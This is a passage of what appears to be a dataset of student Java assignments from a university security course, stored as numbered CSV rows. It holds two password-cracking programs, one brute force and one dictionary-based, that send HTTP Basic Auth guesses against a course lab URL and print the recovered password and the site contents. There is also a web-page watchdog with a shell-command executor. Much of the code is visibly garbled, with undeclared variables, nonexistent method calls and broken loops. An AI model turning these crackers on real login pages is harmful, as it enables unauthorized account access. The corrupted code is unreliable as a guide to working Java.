+ cop = new Copier(""oldCopy.html""); + else + { + cop = new Copier(""newCopy.html""); + try + { + handleCompare(); + } + catch( IOException e) + { + System.out.println(""IOExeption ""+e); + e.printStackTrace(); + System.exit(0); + } + } + + } + private void handleCompare() throws IOException + { + MailClient m; + File newFile = new File(""newCopy.html""); + File oldFile = new File(""oldCopy.html""); + String lineNew, lineOld; + LineNumberReader lnrNew, lnrOld; + Vector v = new Vector(10); + int flag = 0; + int comp; + + lnrNew = new LineNumberReader( new FileReader( newFile)); + lnrOld = new LineNumberReader( new FileReader( oldFile)); + while(((lineNew = lnrNew.readLine()) != null) && ((lineOld = lnrOld.readLine()) != null)) + { + comp = lineNew.compareTo( lineOld); + if( comp == 0) + continue; + else + { + flag = lnrNew.getLineNumber(); + v.add( new Integer(flag)); + } + } + if( v.size() != 0) + { + m = new MailClient(""mail.cs.rmit.edu."", 25 ); + v.connect(); + } + + lnrNew.print(); + lnrOld.print(); + oldFile.delete(); + newFile.renameTo(oldFile); + + + + + } + public static void main (String[] args) + { + Dog pepa = new Dog(); + } +} +" +247.java,"import java.io.*; +import java.net.*; + + + + + + + + + + + +public class BruteForce +{ + private String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; + private static String password; + private static int length; + private static int t_counter; + private static int f_counter; + + private static int cases; + + private static int respCode; + + public BruteForce() + { + Authenticator.setDefault(new BruteForceAuthenticator()); + t_counter = 0; + f_counter = 0; + cases = 0; + } + + public static void main (String[] args) + { + BruteForce bf = new BruteForce(); + String file = "" ""; + while(respCode != 200) + { + file = bf.fetchURL(); + } + System.out.println(""Number of attempts: "" + t_counter); + System.out.println(""Password: "" + password); + System.out.println(file); + } + + private String fetchURL() + { + StringWriter sw = new StringWriter(); + PrintWriter pw = new PrintWriter(); + + try + { + URL url = new URL(urlString); + HttpURLConnection huc = (HttpURLConnection)url.openConnection(); + respCode = huc.getResponseCode(); + InputStream content = huc.getInputStream(); + BufferedReader in = + new BufferedReader (new InputStreamReader (content)); + String line; + while ((line = in.readLine()) != null) + { + pw.println(line); + } + } catch (IOException e) { + pw.println(""Error URL""); + } + return sw.toString(); + } + + class BruteForceAuthenticator extends Authenticator + { + private String username = """"; + + protected PasswordAuthentication getPasswordAuthentication() + { + return new PasswordAuthentication(username,generatePassword()); + } + + protected char[] generatePassword() + { + int i,j,k; + int n = 26; + String letters1 = ""qwertyuiopasdfghjklzxcvbnm""; + String letters2 = ""abcdefghijklmnopqrstuvwxyz""; + + i=0; + j=0; + k=0; + + + + if(t_counter == 0) + { + length = 1; + cases = 0; + f_counter = 0; + } + if(t_counter == 2*n) + { + length = 2; + cases = 0; + f_counter = 0; + } + if(t_counter == (2*n + 4*n*n)) + { + length = 3; + cases = 0; + f_counter = 0; + } + + char c[] = new char[length]; + + + + if(length == 1) + { + if(f_counter == n) + { + cases++; + f_counter = 0; + } + i = f_counter; + + } else if(length == 2) + { + if(f_counter == n*n) + { + cases++; + f_counter = 0; + } + i = f_counter/n; + j = f_counter - i*n; + + } else if(length == 3) + { + if(f_counter == n*n*n) + { + cases++; + f_counter = 0; + } + i = f_counter/(n*n); + j = (f_counter - i*n*n)/n; + k = f_counter - i*n*n - j*n; + } + + + switch(cases) + { + case 0: + c[0] = letters1.charAt(i); + if(length > 1) c[1] = letters1.charAt(j); + if(length > 2) c[2] = letters1.charAt(k); + break; + case 1: + c[0] = Character.toUpperCase(letters1.charAt(i)); + if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j)); + if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k)); + break; + case 2: + c[0] = Character.toUpperCase(letters1.charAt(i)); + c[1] = letters1.charAt(j); + if(length > 2) c[2] = letters1.charAt(k); + break; + case 3: + c[0] = letters1.charAt(i); + c[1] = Character.toUpperCase(letters1.charAt(j)); + if(length > 2) c[2] = letters1.charAt(k); + break; + case 4: + c[0] = letters1.charAt(i); + c[1] = letters1.charAt(j); + c[2] = Character.toUpperCase(letters1.charAt(k)); + break; + case 5: + c[0] = Character.toUpperCase(letters1.charAt(i)); + c[1] = Character.toUpperCase(letters1.charAt(j)); + c[2] = letters1.charAt(k); + break; + case 6: + c[0] = letters1.charAt(i); + c[1] = Character.toUpperCase(letters1.charAt(j)); + c[2] = Character.toUpperCase(letters1.charAt(k)); + break; + case 7: + c[0] = Character.toUpperCase(letters1.charAt(i)); + c[1] = letters1.charAt(j); + c[2] = Character.toUpperCase(letters1.charAt(k)); + break; + default: + break; + } + + f_counter++; + t_counter++; + + password = new String(c); + return c; + } + } +} +" +097.java," + + + +public class RunWatchDog{ + public static void main(String []args){ + WatchDog wd = new WatchDog(); + System.out.println(""WatchDog is Starting!""); + wd.FirstRead(); + wd.print(); + } +}" +190.java," + +import java.awt.*; +import java.String; +import java.util.*; +import java.io.*; +import java.net.*; + + + +public class Dictionary +{ + private URL url; + private HttpURLConnection connection ; + private int stopTime = 0; + private int startTime = 0; + private int count = 0; + + public Dictionary() + { + System.out.println(""Process is running...""); + startTime = System.currentTimeMillis(); + findWords(); + } + + public static void main(String args[]) + { + Dictionary sc = new Dictionary(); + } + + + public void findWords() + { + try + { + BufferedReader input = new BufferedReader(new FileReader (""words"")); + String text; + while ((text = input.readLine()) != null) + { + if ((text.length() == 3) || (text.length() == 2)) + { + count++; + decision(text); + } + + } + + } + catch (IOException io) + { + System.out.println(""File Error: "" + io.getMessage()); + } + } + + + public void decision(String s1) + { + if (find(s1) == 200) + { + stopTime = System.currentTimeMillis(); + runTime = stopTime - startTime; + System.out.println(""***************************************""); + System.out.println(""\nAttack successfully""); + System.out.println(""\nPassword is: "" + s1); + System.out.println(""\nThe contents of the Web site: ""); + displayContent(s1); + System.out.println(""\nTime taken crack: "" + runTime + "" millisecond""); + System.out.println(""\nNumber of attempts: "" + count); + System.out.println(); + + System.exit(0); + } + } + + + public int find(String s1) + { + int responseCode = 0; + try + { + url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + connection = (HttpURLConnection)url.openConnection(); + + connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + s1)); + + responseCode = connection.getResponseCode(); + + }catch (Exception e) + { + System.out.println(e.getMessage()); + } + return responseCode; + } + + public void displayContent(String pw) + { + BufferedReader bw = null ; + try + { + url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + connection = (HttpURLConnection)url.openConnection(); + + connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + pw)); + InputStream stream = (InputStream)(connection.getContent()); + if (stream != null) + { + InputStreamReader reader = new InputStreamReader (stream); + bw = new BufferedReader (reader); + String line; + + while ((line = bw.readLine()) != null) + { + System.out.println(line); + } + } + } + catch (IOException e) + { + System.out.println(e.getMessage()); + } + } +} + + + + +" +071.java," + +import java.io.*; +import java.net.*; +import java.util.*; + +import javax.swing.text.html.*; +import javax.swing.text.html.parser.*; +import javax.swing.text.*; + + + +public class WatchDog { + + private URL url = null; + + private int time = 0; + + private ArrayList images = new ArrayList(); + + + public WatchDog(String urlString, int time) { + this.time = time; + try{ + this.url = new URL( urlString ); + }catch(MalformedURLException mefu){ + System.out.println(mefu.toString()); + } + + } + + + private URLConnection getConnection( ) throws IOException { + URLConnection = url.openConnection(); + return ; + } + + public ArrayList parse()throws Exception{ + HTMLEditorKit.ParserCallback callback = new HTMLEditorKit.ParserCallback (){ + + public void handleSimpleTag(HTML.Tag t, MutableAttributeSet a, int pos){ + if(HTML.Tag.IMG == t){ + String image = (String)a.getAttribute(HTML.Attribute.SRC); + image = image.trim(); + if(image.charAt(0)=='/'){ + image= url.getProtocol()+""://""+url.getHost()+(url.getPort()!=-1?"":""+url.getPort():"""")+image; + + }else if(image.toLowerCase().indexOf(""http"")==-1){ + String tmp = """", path = """"; + tmp= url.getProtocol()+""://""+url.getHost()+(url.getPort()!=-1?"":""+url.getPort():""""); + + path = url.getPath(); + if(path.lastIndexOf(""/"") > 0) + path = path.substring(0,path.lastIndexOf(""/"")+1); + image = tmp+path+image; + } + System.out.println(image); + images.add(image); + } + } + }; + URLConnection = getConnection(); + this.images = new ArrayList(); + Reader reader = new InputStreamReader( bf.getInputStream() ); + ParserDelegator pd = new ParserDelegator(); + pd.parse( reader , callback , true ); + return images; + } + + + public void executeCommand(String command)throws Exception{ + if(command == null) + return; + String [] command1 = new String[]{""//sh"", ""-c"",command}; + Process pc = Runtime.getRuntime().exec(command1); + Thread.sleep(5000); + + } + + + public void append(String fileName, String text) throws Exception { + File f = new File(fileName); + + if(f.exists()){ + fileLength = f.length(); + RandomAccessFile raf = new RandomAccessFile(f, ""rw""); + raf.print(fileLength); + + raf.writeBytes(text); + + raf.print(); + } + else{ + throw new FileNotFoundException(); + } + } + + public void concatenate(String file1, String file2, String file3)throws Exception{ + File f = new File(file3); + if(f.exists()) + f.delete(); + + f.createNewFile(); + + + BufferedReader dict = new BufferedReader(new InputStreamReader(new FileInputStream(file1))); + + String line = """"; + { + line = dict.readLine(); + if(line== null) break; + this.append(file3, line+""\n""); + } while(line!=null); + + dict.print(); + + dict = new BufferedReader(new InputStreamReader(new FileInputStream(file2))); + + line = """"; + { + line = dict.readLine(); + if(line== null) break; + this.append(file3, line+""\n""); + } while(line!=null); + dict.print(); + f = new File(file1); + if(f.exists()) + f.delete(); + f = new File(file2); + if(f.exists()) + f.delete(); + + } + + public getTime(){ + return this.time; + } + public static void main (String[] args) { + if(args.length != 3){ + System.out.println(""usage: java attacks.WatchDog